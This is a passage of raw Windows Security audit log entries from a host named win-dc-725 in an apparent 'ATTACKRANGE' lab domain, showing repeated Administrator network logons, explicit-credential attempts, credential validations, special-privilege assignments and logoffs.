	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245813
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245812
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245811
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x247A8

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245810
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x247A8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245809
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245808
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245807
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x418
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:39:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245821
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2BE1C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245820
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2BE1C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245819
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2BE1C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245818
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245817
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245816
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x249A3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245862
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x31538

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245861
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x31538
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245860
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245859
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245858
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2F0BB

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245857
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2F0BB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245856
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245855
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245854
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2EE40

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245853
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2EE40
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245852
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245851
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245850
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2EA0B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245849
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2EA0B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245848
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245847
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245846
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2DBD8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245845
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2BEAD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=245844
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2C293

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:39:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245843
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x2DBD8

Privileges:		SeSecurityPrivilege
